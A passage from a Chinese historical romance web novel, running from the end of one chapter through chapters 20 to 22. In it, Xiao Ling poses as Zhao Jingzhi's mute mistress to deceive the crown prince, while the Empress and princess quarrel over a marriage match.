对上他的目光后,萧苓的耳朵似乎隔绝外界所有声音。
此时赵景之正似笑非笑看着她。
但很快转变成恭谨神色,速度之快让萧苓以为眼花出现错觉。
“让殿下见笑,她胆子小,要是贸然带进国公府,规矩多,怕是一时不能适应,臣就在海棠巷买了个院子让她住着,等时机成熟再带到府里也不迟。”
他的声音不疾不徐,并不觉得容钦南的话有多凶险,甚至还浮起一个漫不经心的笑。
萧苓对赵景之信手拈来的话震惊不已,不由得怔愣。
他看来是有备而来,能把莫须有的事情说的如此冠冕堂皇。
可下一瞬,萧苓的身子突然一僵,险些一声呜咽脱口而出。
——那流连在小腿处的轻蹭缓慢向下,动作缓滞,却又不容她抗拒,如潮水般一路蜿蜒至脚踝处。
带着奇异的酥麻。
她身子紧绷,快速垂落眼睫。
赵景之神色平静,冷风迎面吹过,可他眼睛都不曾眨,转向容钦南的目光格外坦荡。
似乎蹭着萧苓脚踝的不是他。
可惜,实在是可惜!
容钦南不禁咋舌,替岑钰惋惜。
但又转念一想,能被养在一条名不见经传的小巷子里,又没有名分,一看就是没什么家世的,赵景之再宠爱又有什么用?这一辈子又不能只守着她一个人。
这样也好,就算到时候岑钰不死心,还是喜欢赵景之,处置一个身份卑微的女子倒是好办的多。
容钦南拢回心思,话到嘴边却是这样说。
“原来如此,这下孤找到地方了,到时可要叨扰一番。”
赵景之不动声色接过话。
“殿下说笑,臣必定扫径以待,恭候殿下光临。”
“那便这般说定了。”
容钦南笑声爽朗,言罢就要举酒敬赵景之。
那股子恼人的触碰终于随着赵景之敬酒的动作而消散。
萧苓悄悄将离案几退了一步,抬眼去看赵景之,视线却被他将酒一饮而尽后撞个正着。
两相对视,赵景之如霜冷面上划过不易察觉的笑意。
今日,果然如他所料。
过的跌宕起伏。
-
锦绣宫。
檀香缕缕从博山炉中飘出,氤氲成一片厚重的安宁。
与清新茶香交织在一起让浮躁的心也能渐渐平静下来。
岑钰与许皇后相对而坐,案几上茶雾浮动,如薄纱般笼罩着两人相似的眉眼。
她的手有一搭没一搭揪着帕子,神情有些压抑。
许皇后抬眼瞥了岑钰一眼,将她的动作尽收眼底,放下手中的茶盏。
能让岑钰这般好动的性子耐住寂寞,坐在此处一盏茶功夫,真是实属不易。
“说吧,这次又是什么事情来寻母后?”
她自岑钰来前便通过掌事宫女得知事情来龙去脉,此事是太子冲动了些。
但岑钰也并不是全无错处。
“母后,皇兄罚儿臣禁足,还说要给儿臣亲自选驸马。”
少女嗓音清脆,带着这个年纪特有的娇俏。
岑钰见母后面色平和,唇角不自觉扬起。
母后肯定会帮她同皇兄求情的,最起码她不要一个人待在宫里。
“太子……的确做的不错。”
许皇后在岑钰希冀的目光中落下这几个字。
“母后……”
岑钰心下一急,作势要起身靠皇后怀里,以往她犯错后惯会撒娇,只要这般,父皇同母后便不会同她计较。
可她一抬眼便见母后站起身,落在她身上的目光虽然还同往日般温和,但却夹杂了一丝不容抗拒的威严。
那是在深宫久居多年上位者的气势。
这种威严,不止是父皇,就连在皇兄身上她也看到过。
而今在母后身上再现,让她不得不正视自己的逾矩。
“你做了何事,太子要这般罚你?”
许皇后居高临下看着膝下唯
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一的公主,语气不觉中带了和缓。
“皇兄都可纳良娣,为何儿臣心悦一人就不许?”
岑钰咬了咬唇,深觉不公,但又不敢直说,只能抬起盈满水雾的杏眸看向母后。
许皇后眉心微蹙。
“你已及笄,到了婚配年纪,陛下与本宫有意为你擢选驸马,可你百般推据,实在是不像话!”
这些年关于岑钰的流言她也听了不少,但大多是捕风捉影,如今她只听听岑钰的意思。
“说吧,你今天到底来找本宫何事?”
清淡的檀香让她平静下来,只是刚刚动怒,肺腑间仍有不适。
“儿臣有一不情之请,想请母后做主为儿臣赐婚,不知母后可能允准?”
许皇后沉吟片刻,手中还缠绕着一串沉香手串。
“是哪家的?”
她话音未落,岑钰以为母后心意转圜,忽然双膝跪地,不敢再耽搁生怕其反悔,语气恭谨。
“是定国公世子赵景之。”
噼里啪啦——
手串应声断裂,木珠尽数而落。
颗颗粒粒,一如她纷乱复杂的心境,随地撒落。
这句话不亚于晴天霹雳。
许皇后指尖发凉,雍容而清丽的脸上表情尽数碎裂,取而代之的是不加以掩饰的惊愕。
殿里更漏声阵阵,一点一滴如石子砸进她的心里,砸的她生疼。
“母后?”
岑钰闻声抬首,却见许皇后背过身隐入珠帘之中。
檀木香气不绝如缕,给二人之间隔了道无形的屏障。
“你可知……”许皇后的声音一下子低了下来,她深吸一口气,继而又道:“罢了,此事休提,本宫会嘱咐太子为你择门好亲事的。”
“母后!”
可回答岑钰的只有微微碰撞的珠帘。
清脆却不那么悦耳。
-
日头西斜,曲终人散。
筵席间觥筹交错已近尾声。
容钦南喝下不少酒,已染上醉意,目光不复清明,可仍维持着翩翩风度。
“宁宁,孤着人送你回府。”
萧苓自然不愿意与他有过多牵扯,起身行礼,回绝道:“多谢殿下关心,臣女的侍女在宫门候着,若无其他事,臣女先行告退。”
容钦南摁了摁眉心,转身又向赵景之道:
“孤记得国公府与镇国侯府顺路吧?”
赵景之微不可见勾起一抹笑意。
“顺路。”
萧苓隐隐忐忑,眉头一蹙。
果不其然,容钦南下一瞬便让赵景之在路途中多多看护着她。
赵景之颔首,随后目送着他离开。
-
秋日的风万分萧瑟,行走在空荡荡的官道上,安静得似乎只能听见两人的步履声。
赵景之走在前面,夕阳把他的影子拉长,只要萧苓走的快些,仿佛就能踩上。
她试着踩了一步。
却见那影子倏忽不动,停了下来,清冷嗓音随即传至耳边。
“萧姑娘可真有闲情逸致。”
萧苓抬眼,巍峨朱门就在前方,她本能察觉到危险,不愿再与他待在一处。
“侯府马车就停在宫外,就不劳世子相送。”
赵景之转身看着垂面敛目的萧苓,金乌西照,将她鬓间温润的白玉簪染上融融金光,看着愈发动人。
他忽然朝她欺近一步,拉近了两人的距离。
萧苓心口一窒,生怕被人发现,“世子。”
赵景之看着她往后退一步的动作,眸光微暗。
面上不显,可语气却带着冷意。
“本世子帮了萧姑娘这么大的忙,望姑娘千万要信守承诺。”
萧苓的脑海里快速掠过寝殿中的情景,只能点头应了。
“还有,希望萧姑娘能随叫随到。”
她既然要扮演他的外室,自然是要去海棠巷,更何况容钦南已经知晓海棠巷的住处。
她没有理由再推脱。
赵景之看着她眼底的挣扎,但又很快湮灭,随后便是长久的沉默。
他忽然好心情的笑了。
“你说,我们像不像一根绳上的蚂蚱?”
20. 避无可避
萧府近日来风平浪静,除了老夫人崔氏身子抱恙,萧苓要晨起去请安外,其余的时间便是往海棠巷去。
她本以为赵景之不过是逢场作戏,只要在这处小院露个脸便是,可他却将朝堂的事也搬到这里处理,就像是常住一般。
虽说这里陈设一应俱全,但与国公府比,还是显得简陋了些。
赵景之让人给萧苓收拾了一间屋子,里面布置都是按她的喜好来的。
她甚至生出了一种不真实感。
这种感觉很飘渺却又捉摸不透。
檐外正下着雨,萧苓忍不住打了个寒颤,她来时不凑巧,偏又没带伞,只能等雨停歇。
她知道赵景之在正屋,但又不知该如何启唇。
起初萧苓以为赵景之提出这个条件是趁人之危,想折辱她,但仔细想来却又不是。
赵景之似乎只是想让她露面,用来掩人耳目,两人之间克制守礼,半分逾矩也没有。
即使是用饭,也是由初杭端到她屋里的,与赵景之碰面的机会都很少。
初杭伫立在案几旁给赵景之磨着松烟墨。
此时屋内寂静无声,只能听见墨染纸张的细微响动。
偏偏雨势加大,打在窗棂上发出令人烦躁的声音。
赵景之闻声抬眼,正好看到萧苓背对着窗外,背影萧瑟,她敛袖伸手正在接雨,晶莹雨珠在手心里凝成透亮的明镜。
他的喉咙滚动了一下。
笔尖刚蘸了墨,此时忽然停下,“啪嗒”一声浓郁的墨汁正好滴落在卷宗上,洇透宣纸,成了一团显眼的印记。
初杭眼皮跳了跳,心中暗疑,世子难不成是走神了么?
“外面天凉,要让萧姑娘进来么?”
话一出来,初杭便在心里叫苦不迭。
他在逞什么能?
虽说萧姑娘与世子自幼相识,称句青梅竹马都不过分,但后面出了这档子事,世子厌恶她还来不及。也不知道世子心里是何谋划,上回萧家被诬谋反,就差那么一把火就彻底翻不了身,世子还非得费尽心力去救,更是为她置办了这处小院。
正当他胡思乱想,手里的动作也因此缓滞时,却听赵景之冷淡嗓音像蕴了冰似的。
“多事。”
豆大汗珠顺着初杭额头滚下,他怕弄污手底下的墨,赶忙抬袖擦了,却不想这一幕落在赵景之眼中,心头泛起恼意。
“下去。”
初杭的手一下子僵住,脸色煞白,但又不敢违抗世子的命令,只能搁下手中的东西退下。
刚往外走两步,又听赵景之语气夹杂了不易察觉的燥意。
“让她进来。”
“磨墨。”
斜风拂过冷雨,不偏不倚落在萧苓的裙摆上。
砸出丝丝点点晕染的痕迹。
当她听到初杭传达的话时,内心惊愕不已。
但还是硬着头皮进了正屋。
赵景之伏案已久,手旁还堆着一叠刚阅完的卷宗。
烛火跃动,给暗黄的纸张投下暗影。
他抬眼,看着萧苓一步步走近,郁结已久的浊气忽然疏散了。
“会磨墨么?”
萧苓颔首,但她忽然记起自己此时正戴着幕离,轻纱晃动,赵景之看不清她的表情。
便想把幕离摘下,却被他制止。
“那就开始吧。”
磨墨这种事情,萧苓并不手生,以前萧负雪在书房处理军务,并不喜旁人近身,也是她在帮忙的。
上好的松烟墨带着淡淡香气,她敛袖抬腕,素手被黑墨衬着更显白皙,赵景之敛了敛墨,只瞥了她一眼便挪开了。
窗子未阖紧,冷风有一下没一下的拍着窗棂,把满屋厚重的沉默给吹散了。
萧苓悄悄松口气,显得不是那么压抑。
“在这里还习惯么?”
最终是赵景之打破沉寂。
豆大的烛火给他冷峻眉眼投下暗影,显得尤为高不可攀。
“还好。”
她轻轻落下两个字,眼睛抬也没抬。
赵景之似乎是写倦了,将笔搁置一旁,视线从卷宗落在萧苓的身上。
也许是为了与她先前的身份区别开,她特意穿了件浅绿色衣裳,鲜嫩的像初春新发的绿枝。
但料子又与她平日里穿的不同,微微旧了些,约莫是为了更贴合他外室的身份。
赵景之轻哂。
不管她是真情还是假意,毕竟人已经在这里了,再怎么说,现在是他对外的“心上人”。
威逼利诱也罢,或者是心甘情愿也好,只要她肯乖乖站在他眼前。
这就足够了。
随后便是漫长的沉默。
一直等到雨声渐歇,天光敛起,赵景之才收起卷宗,去唤一直守在门外的初杭进来。
“现下雨停了,萧姑娘可自行回府,这两日殿下怕是不会来,有劳姑娘了。”
他起身去净手,初杭在身旁递过巾帕。
萧苓称了声好,一双眉眼却转过疑色,他方才是特意留她在屋里等雨停的么?
不等她多想,刚要转身走,恰巧走路带起的风将赵景之反铺在卷宗最上的纸张拂落。
她感到歉意,正要半蹲着身子将纸拾起,却被初杭抢了个先,神色颇有些古怪,“劳烦姑娘了。”
赵景之正背对着她,不知在做些什么。
暗下去的天光将他的背影,衬得愈发像堵冷墙。
萧苓心头一凛,不敢多看,却装作若无其事,她听到自己的声音一点点凉了下去。
“无事,既然是要紧东西,那就收好。”
等走出院门,她才恢复砰砰心跳。
细如牛毛的雨又迎面扑来,萧苓无暇顾及,脑海中纸上的第一行却显得尤为清晰。
开头仅仅三个字。
萧负雪。
她兄长的名讳。
-
秋日的雨带着寒气,一连下了几日。
已到十月,院中梧桐叶开始泛黄,打着旋从半空飘下来。
赵景之派人传来口信,这几日不必再去海棠巷。
这倒省起事来,萧苓反而不用跟做贼似的整日提心吊胆。
只是这些日子,她心里愈发不安。
一股子焦躁从心头涌起,即使是用膳,她也食不知味。
落在陈氏眼中,又免不了一顿讥诮。
如今萧柔得宠,更是身怀龙裔,连带着她的身份也是水涨船高,萧柔私下里更是允诺,只要她生下太子的长子,便向太子请旨,封陈氏为诰命夫人。
殊荣加身,就算不得萧净喜爱,又能怎样呢?
“宁宁这是怎么了?饭菜不合口味?”
萧苓顿了顿,停下手中筷子,若不是她要与陈氏轮流侍候老夫人,她断不会与陈氏共同用膳。
“饭菜极好,母亲费心了。”
陈氏轻哼了一声,手下动作一重,筷子与瓷碗发出刺耳的碰撞声。
“不要以为你有陛下赐婚就能怎么样,以后太子殿下登基,受宠的还不是柔儿?”
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她的话过于直白,以至于袒露出连自己都意料不到的野心。
萧苓眉心不由得一皱。
她搁下筷子,毫不避讳的与陈氏对视一眼,在对方得意神色渐渐消散中道,“还请母亲慎言,陛下身子康健,若是这话被哪个有心的听见——”
她的话音刚落,就听到正厅外有匆匆脚步声传来。
就仿佛印证了萧苓的话似的。
陈氏脸色煞白,一颗心卡在嗓子眼,不上不下,难受至极。
眼前的萧苓哪里还像先前唯唯诺诺的模样?
若是放在从前,只会一声不吭任由她数落。
可她竟然还敢回嘴?
“母亲请慢用,萧苓先行告退。”
她不等陈氏反应,便要起身离去。
“萧苓,你知不知道,上回萧家落难,是柔儿拼命去求太子殿下才将侯爷和世子救下来的,不然咱们早就被流放了。”
原来,萧柔是这般同府上的人说的。
萧苓脚步一顿。
片刻,她还是头也未回的缓步离去。
-
午后雨停,淅淅沥沥的积水从黛瓦滑落,形成一道道透明的珠线。
有人快步走过青石板砖,速度之快,震碎了地面上坑坑洼洼的水镜。
“姑娘,这是世子给您的信。”
流云兴高采烈,她方才从前厅传令兵那里取来信,一刻不敢停便跑来找萧苓。
萧苓的手颤了颤,捧着尚有余温的信,眼眶突然酸胀起来。
她忽然想起什么,眉心一蹙。
“祖母那边呢?”
“放心吧姑娘,先是给老夫人房里送过了。世子吩咐过的,这封信是单独给您的。”
以往兄长出征,若是战事不忙,便会捎信回来报个平安。
果不其然,当萧苓打开被保护得整洁如新的信封时,里面凌厉遒劲的字里行间满满思念之语。
“吾妹宁宁,兄长一切安好。京州十月金秋,北境已是白雪皑皑,待拿下明月关,京州初雪前必定归家。”
明月关,被北戎与大周世代争夺,也是北境战场最为凶险之地。
向来易守难攻。
不过父亲与兄长身经百战,所率将士皆有勇有谋,肯定不会出任何差池。
只要平平安安,她便心满意足。
萧苓合上信,放在妆奁最深处。
不知为何,她跳如雷鼓的心忽然就静了下来。
这份宁静一直持续到她翌日雨停去海棠巷。
萧苓戴好幕离,从停好的马车内缓缓下来。为避人耳目,她没有带上流云,用的也不是侯府的马车,而是花些银两从集市上租的。
下过几场雨,空气也愈发清冽了些。
萧苓捏着帕子,沿着蜿蜒的街巷往里走,刚过拐角,目光所及之处便是一辆富丽堂皇的马车。
朱轮华盖,龙纹帷幔,轿顶悬挂金银流苏。
轿帘被掀开一角,修长手指缓缓落入她的眼帘,随后便是一节绣了白鹤的衣袖。
萧苓仿佛被钉在原地,不敢再看,但脑海已经将他隐在轿内的轮廓重新描绘出来。
如此熟悉,也是同样陌生。
此时避无可避。
似乎被什么刺激到,萧苓秀脸血色迅速褪去,呼吸急促,胸膛仿佛被冷风刺的生疼。
那人正缓慢下来,头顶金冠,似乎是察觉到什么,一道饱含深意的桃花眼看了过来。
是容钦南。
萧苓死死咬住唇。
21. 疑心
赵景之目光瞥着新呈上来的卷宗时辰已久,浓眉蹙出一道刻痕。
这是从北境加急送来的秘函。
如今与北戎的战事正是吃紧的时候,许锦忠果然按耐不住,前两日将他的外甥陈既白派去北境做转运使副使,掌管后方粮草。
这事行的隐秘,若不是赵景之的人提前盯着许锦忠,怕也是察觉不出。
许锦忠这老狐狸心机甚是深沉,将他的人派去北境,做法不言而喻。
赵景之的目光愈发深幽。
灯花突然爆了一声,细微的声响在他的心底扎了一下。
这并不是什么好兆头。
“世子,太子去了海棠巷。”
初杭推开门,语气有些急切。
赵景之为了处理棘手政务这几日都在国公府。
他不由得轻哂,容钦南还真是打了个措手不及。
但一抬眼就见初杭一脸踌躇模样,随口问道,“还有什么?”
“萧……萧姑娘也在。”
闻言,赵景之的目光顿了顿,站起身的同时将卷宗随手合上。
-
容钦南孤身一人进院,目光随意打量着。
他生性风雅,尤其是对庭院审美颇有心得,对于这别出心裁的小院时不时流露出赞赏神情。
但最终顿住了脚步,轻展折扇,立在庭院中。
雨才停歇没多久,庭院绿枝上犹自挂着水珠,正映着萧苓僵硬的身形。
她落后容钦南两三步,如今他骤然停下,她也只好停住脚步,不敢再行走。
从一开始在门外相遇,再到她拿出钥匙开门,容钦南只是饶有趣味的瞥了她一眼,很快便移开目光。
就像看一个不相干的人。
虽然这几日在脑海中预演了许多遍,但突如其来相遇,还是令萧苓惊慌不已。
她不动声色瞥了眼自己藕粉色的外裳,再加上遮得严严实实的幕离,他应该认不出才是。
她佯装不知容钦南身份,在他进院后,自己也跟在了后面。
实则后背早就沁出了冷汗。
“是你住在这?”
容钦南没有转身,只是微微侧着脸询问。
语气公事公办,隐隐间带了上位者的威严。
此处没有第三人,萧苓知晓他终于按耐不住,在问她。
容钦南听着身后忽然窸窣一声响,回头只见方才还站在身后的少女跪在了地上,雪白轻纱微微晃动着,露出一点小巧的下颌来,有一瞬间他似乎捕捉到什么。
但随着她俯身跪拜,一切都湮于平静。
继而她伸手比划着什么。
容钦南皱眉,他看不懂她的意思。
随即脑海转过一个念头,她不会说话?
萧苓想过身形或是容貌都可遮掩,唯独嗓音是变不了的,与其捏着嗓子说话不如直接装哑。
府里以前有个马夫是哑巴,她曾经见过他与旁人交流也是这般用手比划。
只是当萧苓将这个想法说给赵景之听时,他并没有说什么,反而是意味深长看了她一眼。
也不知道赞不赞成这个法子。
没有等来容钦南的回复,萧苓并不敢抬头,此时心跳仓皇,她感觉自己正被一道锐利的视线打量着。
容钦南心细如发,自己这点小把戏也不知道他看穿没有。
随着这死寂的沉默,萧苓愈发后悔答应赵景之扮演他的外室这个要求。
若是被发现,就是欺君之罪。
赵景之……
她突然身形僵滞。
从他们进院到现在,赵景之都没有出现。
若是赵景之不在海棠巷,她该怎么办?
冷汗止不住浸透单薄的里衣。
就在萧苓胡思乱想之际,一道冷硬的声音从头顶响起。
“把幕离摘了。”
-
正门旋即大开,冷飕飕的风一下子涌入。
与此同时响起的,是赵景之恭谨而冷淡的声音。
“臣不知殿下远道而来,未曾远迎,还请殿下恕罪。”
赵景之垂首,躬身行礼。
见到来人,容钦南的目光终于从跪在地上的萧苓落在赵景之身上。
敛起的眉目这才松缓下来。
“是孤的不是,不请自来,麻烦了景之……与这位姑娘。”
他换了种温和的语气,又变成从前那个善解人意的太子。
萧苓头皮发麻,手心被死死掐住。
而被幕离遮住的芙蓉面上露出了劫后余生的神情。
若不是赵景之来得及时,她怕是已经被冠上欺君罪名等候发落了。
甚至连带无辜的侯府。
那种代价她承担不起。
即使始作俑者是赵景之,但萧苓的心里还是不易察觉的生出一丝名唤安心的情愫来。
极淡、极轻。
以致于她松了口气。
似乎是心有所感,赵景之极快地瞥了萧苓一眼,她就跪在离他半步远的地上,繁复层叠的裙摆落了一地,很像那夜她跪在自己面前的模样。
破碎且娇弱。
只要赵景之想,他就能折了她。
只可惜,她跪的是容钦南。
不是他。
“殿下,外边天凉,不若与臣一同进屋喝茶?”
赵景之直起身便要将人迎进屋。
容钦南颔首,风适时刮了起来,倒还真有些凉意。
他今日过来不单单是为了看赵景之心上人长什么样,还有别的要事来寻赵景之。
被这么一打岔,他抬起脚步,跟上赵景之往里走。
屋内布置清幽,虽然小了点,但还算精致。
容钦南坐定,看着赵景之有条不紊的温茶,手指不自觉在光滑的案几上轻叩着。
“景之,你说的那位姑娘就是她?”
赵景之挽袖倒茶,随后递到他面前。
“臣今日来迟,便是与卿卿一同去采买,她身子弱吹不得风,便让她先回,没想到会唐突了殿下。”
赵景之的话滴水不漏,容钦南在院中确实看到跟在他身后的小厮怀里的包袱,看着沉甸甸的。
“原来如此。”
原来是个叫“卿卿”的姑娘。
容钦南抿了口茶,装作不甚在意启唇。
“她似乎不会说话?”
“是,一场风寒烧坏了嗓子。”
赵景之修长冷白的指尖摩挲着冰凉的盏沿,脑海中却莫名浮现出她一本正经同容钦南比划的模样。
唇角忍不住浮起一抹笑,她该是多天真,以为这样就能瞒住旁人?
但还好,也瞒不了多久。
若他没有猜错,北境会有变故。
而这个变故,就是个契机。
赵景之继而又道:“她胆子小,还请殿下不要见怪。”
“胆子确实小,只是没想到景之会喜欢这样的?”
容钦南清了清嗓子,略带沙哑的语气不知不觉间多了两分轻视。
他向来不喜欢这种呆板无趣的女子,还戴着幕离,故弄玄虚罢了。
容钦南又悄悄打量着赵景之,屋里光线不甚明朗,他又是背着光坐的,辨不清神情,只能看到坚挺的鼻梁。
本以为像赵景之这般冷淡性子,会喜欢那种明媚张扬的姑娘。
比如说岑钰。
像方才的那个姑娘,没有家世,说不定是容貌丑陋才以纱覆面,只能住在这样简陋的院里,若是主母进门,怕是被啃的连个骨头渣子也不剩。
他怎么也想不通赵景之会对这样的人情有独钟。
赵景之吹开茶面上的浮沫,垂眼一瞥,洁白瓷底覆上沉落的茶叶,还有根打着旋沉了下来。
“臣这里不谈喜不喜欢,只看适合不适合。”
容钦南见他冷淡,想起今日目的,只好收敛了思绪。
“北境那边形势严峻,孤的人……”
他想继续说下去,却被“砰——”的一声打断了话。。
原是赵景之不察,一拂袖带翻了茶盏,水顺着案几淌下,尽数撒落在他的衣袍上。
“臣打翻茶盏,惊扰了殿下,还请殿下容许臣去更衣。”
茶汤顺着赵景之的衣袖滴落,显得狼狈不堪。
他甚少看到这般模样的赵景之。
“无妨,快去更衣。”
容钦南很是体谅,继续吹了吹杯盏的热气,淡白色雾气笼罩着他垂落着的眉眼。
“谢殿下。”
赵景之随即唤初杭进来收拾残局,自己信步去了西屋。
-
萧苓坐在床榻上,面色如冷霜。
她看着容钦南与赵景之进了正屋,砰砰乱跳的心终于落了下来。
脑海中不禁浮现在院中的一幕。
容钦南见她久久不动,甚至俯下身要亲手摘掉她的幕离时,她甚至绝望的闭上双眼。
眼前一黑,冷汗和泪水一齐坠下。
那种恐怖的心境,久久不能忘却。
就在此时,“吱呀——”
人在心慌时,一切声音都会无限放大。
萧苓的睫羽随着身子猛然一颤,想站起身,却被来人拉住按在了怀中。
她的视线被轻纱遮挡,又被面前的身形笼罩住,看不清是谁,想要挣扎却被禁锢的更紧。
她咬紧牙关,抬手便往发髻上去寻。
——那是一根被她打磨锋利的银簪。
他仿佛看透萧苓的动作,却不去阻拦,反而轻笑一声。
萧苓与他靠的极近,等闻到那抹熟悉冷香时,手中动作一顿,只能触到发簪的冰凉。
“怎么,又不想杀我了?”
他捕捉到她动作的迟滞,又将她往怀里带了带。
是赵景之。
萧苓刚要松口气,可莫名被一阵巨大的恐慌所笼罩。
赵景之不是与容钦南在正屋么?
既然他过来了,那容钦南呢?
赵景之感受到萧苓身子一僵,轻抚她后背的手指微顿。
靠近她的耳畔,轻轻落下三个字。
“害怕了?”
耳根被热息蒸腾着,萧苓两颊染上红绯。有种莫名暗涌在心头涌动。
被赵景之紧紧攥住的纤腰正在细细战栗着。
他轻笑
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一声,这个问题萧苓的身体已经给出了答案。
——她在害怕。
“来猜猜看,萧姑娘是在害怕本世子?还是害怕被他容钦南发现?”
气息上涌,带着阵阵酥麻。
可萧苓在分心之余还是陡然一惊,赵景之竟直接唤容钦南名讳?
可他们的关系不是……
萧苓不敢置信般摇摇头,轻纱顺着她的动作轻晃,如杨柳拂过湖面擦过赵景之有力温热的手背上。
他的眼底划过晦暗不明的情绪,继而又垂下眼皮,尽管有轻纱遮盖看不到萧苓的脸,但也能想象到她的一张脸上该是如何惶惑不安。
压抑许久的冷戾要快藏不住了,他阖了阖眼。
“你跟他说,你不会说话?”
这个院子本就不大,就算被分为正屋和西屋,但若是不加注意,声音也能从西屋传到正屋。
被刻意放低的声音喷薄在萧苓颈侧,落在她耳中带了两分缱绻。
萧苓刚要回应,下一瞬却忍不住惊呼。
因为赵景之径直将她打横抱起,抬脚往临窗的案几旁走去。
支摘窗半阖,案几上花瓶还插了几枝半枯的金桂。
被陡然震落,遗失在虚掩的光影里。
“嘘,别出声,也不准躲。”
-
茶水已经被冲泡了三道,略带寡淡无味。
赵景之换个衣裳怎么这么久?
容钦南放下茶盏,对着还等在一旁伺候的小厮温声问询。
“你家世子莫不是被什么绊住了脚?”
“回殿下,世子在西屋。”
初杭面上毕恭毕敬,其实手心里早就捏了把汗。
也不知道世子临走前让他告诉太子这句没头没尾的话是何意,但终归是没有错的。
毕竟,容钦南听过之后已经起身,冷淡启唇:
“孤去看看。”
院中寂寥无声,只是风刮的愈发冷冽。
容钦南紧了紧披在身上的鹤氅,没由来的感觉到凉意。
他徐徐迈下两道台阶,正要往侧边的屋子抬脚时,却突然听到一声极其轻微的低吟。
低的快要与呼啸而过的风声相融。
容钦南眉心微不可见皱起,目光被死死钉在一处。
那是西屋的支摘窗。
日光不知何时从厚重的积云中渗出,缕缕金光落进了窗内。
莫名刺痛了容钦南的眼睛。
那身藕粉色外裳背对着窗外,在案几上半垂半落,与身后那人霜色衣袍恣意纠缠。
像极了攀附皑皑白雪的艳色。
雪白的轻纱同样垂落。
她微仰着头,日光尽数撒落在白皙娇嫩的脖颈上,甚至清晰的可以窥见淡淡青筋。
赵景之垂眼看着萧苓被轻纱半遮半掩的面颊,水雾氤氲,每处肌肤皆染上动人的绯意。
她半阖着眼,身子往后缩了缩,却抵在冰冷的硬墙下,滚烫的肌肤受不了如此强烈的刺激,忍不住瑟缩。
唇瓣微张,更是忍不住发出支离破碎的声音。
但还好,萧苓还记得她此时的身份,即使意识朦胧仍旧紧紧咬住唇,不敢发出任何声音。
赵景之止住动作,指尖轻抚她的面颊,忍不住在耳侧轻轻唤她。
“萧姑娘。”
萧苓没应。
“萧苓。”
她似是没听见。
赵景之俯下身子,让二人贴的更近。
就在薄唇落在耳边的一瞬间,“宁宁。”
一股难以言表的涌流顺着不甚清明的意识淌了下来。
萧苓猛然一抬睫,神智总是清醒了些,微红的眼眶蓄满泪影,泪水如珠簌簌而落。
“啪嗒”滴落在赵景之的手背上,灼烧着他的五脏六腑。
继而又俯下身去。
不知是她身上的气息,或者是放在身侧的桂花香。
肌肤相贴的一瞬间,酥麻感遍及全身,赵景之觉得心头滚烫,连带着空气也要烧着。
轻纱窗外涌进的风高高飘起,将萧苓的脸完完整整露出来。
她泪眼朦胧看着他,视线相对一刹那,赵景之突然低下头,薄唇擦过她饱满娇嫩的唇瓣。
轻轻吻了上去。
与往日不同,他的动作很是斯文缓慢。
萧苓来不及阖眼,直直撞入他的眸中。
赵景之的眼底很是清明,透过日光,她似乎能在他的眼睛里看到那张沾满珠泪的小脸。
她顿了顿。
不光是萧苓,伫立在窗外的容钦南也僵直了身子,手指虚握成拳。
因为他看到向来克制守礼的赵景之竟然一路向下,百般流连,直至吻上了那少女的脖颈。
她在微微战栗着。
即使二人身上穿戴整齐,那少女更是被赵景之护的严丝合缝。
容钦南心底却涌过异样。
这身形……怎么会如此相似?
轻纱被风吹起,搅乱满室情潮。
也就在这时,轻纱晃动,露出那少女的一点下颌,线条明媚柔和。
却像根刺狠狠扎进容钦南的眼眶。
22. 事发
那张侧脸……
怎么会这么像?
仿佛是被某个念头给惊到了,容钦南脑袋一阵阵昏沉。
手也莫名攥的更紧了。
脑海中猛然闪过的身影将他的神思扯的四分五裂。
容钦南瞳孔一缩,不免觉得荒唐,不自觉摇头。
眼前这个与赵景之耳鬓厮磨的女子怎么可能会是萧苓?
他又莫名记起上回宴席,萧苓与赵景之双双离席,他一时失控差点冲到寝殿落人话柄。
说不定是自己眼花。
提起萧苓,他似乎也有几日不曾见她了。
说来也怪,以往都没有这般感觉,只是瞥了一眼模糊的身影就能联想到她。
他不禁有些恍惚。
正在胡思乱想间,那块随风飘动的白纱最终还是将那女子的脸遮了个严严实实。
直至他再也看不清楚。
心中悬着的巨石一松,容钦南蓦然松开紧攥的拳头。
等回神之际,他甚至觉得自己窥视二人举动很是失礼,于是错开眼,往正屋走去。
又怕引起西屋人的注意,还特意放轻了脚步。
容钦南边走边思忖,脸色渐渐凝重起来。
他改变主意了。
等北境的事一了,他一定要请圣上赐婚。
他要娶萧苓。
原本这桩婚事合该在年初及冠时便举行,只可惜被他有意无意拖到现在,好在为时未晚。
一切都来得及。
不论是三年前,还是现在。
萧苓都是他的人。
不管成没成婚,她都是他的太子妃。
而且萧苓心里是有他的吧?
否则他与萧柔成婚那日,她肯定是心中难过,所以才故意躲着不见他。
今后,只要她肯乖,他又怎么会吝啬给她一点爱呢?
如此想着,容钦南垂下眼皮,遮住眼底势在必得的神色。
-
“公主,您慢些。”
岑钰提裙从青石小径匆匆而过,身后跟着一众宫人。
“都别跟着我。”
她自那日被母后斥责后,连着几日都在相看选中的世家子弟,实在是心里闷得慌。好容易听说容钦南今日出宫,趁着守备不严便偷偷溜进了东宫。
“皇兄去了哪里?”
“太子殿下去的是海棠巷。”
东宫的宦官如实回答。
岑钰不禁蹙起眉头,道:“这是个什么地方?”
怎么听都不像是正儿八经的去处。
宦官没再答话。
岑钰实在耐不住好奇,屏退了跟上来的宫人,只带了贴身侍女便出了宫。
不过脚一拐,先去了镇国侯府。
不管是宫里,还是在京州,能和岑钰说上话的寥寥无几,她这些日子又受了委屈,只能去找萧苓这个未来皇嫂诉苦。
也不知母后是怎么了,听到她说喜欢赵景之竟然大动肝火,不仅把世家子弟的画像如流水般往她宫里送,甚至还让嬷嬷私下里向她介绍镇国侯世子萧负雪。
不论是家世,还是样貌,皆是众多世家子弟中的翘楚,与赵景之不相上下。
但那是萧苓的兄长!
她被吓得浑身一抖,生怕母后一道懿旨给他俩赐婚。
可话说回来,母后为何偏偏对赵景之如此抗拒,神色还如此古怪……
她实在是看不懂。
此时岑钰的指尖紧紧攥着手心,一颗心沉了下去。
马车脚程快,不一会儿便到了侯府门外。
她顿了顿心神,遣人去通禀。
侍女下了马车,便对守在石狮子旁的小厮吩咐道:
“公主只是私下来寻你们府上的大姑娘,就不必惊动萧老夫人了。”
那小厮一听是公主来访,不敢怠慢,小跑着往府里传话。
等再出来时,却面露难色,道:“大姑娘此时不在府里。”
不在侯府?
“那萧姑娘有没有说要去哪里?”
那小厮自是不知,只能摇头。
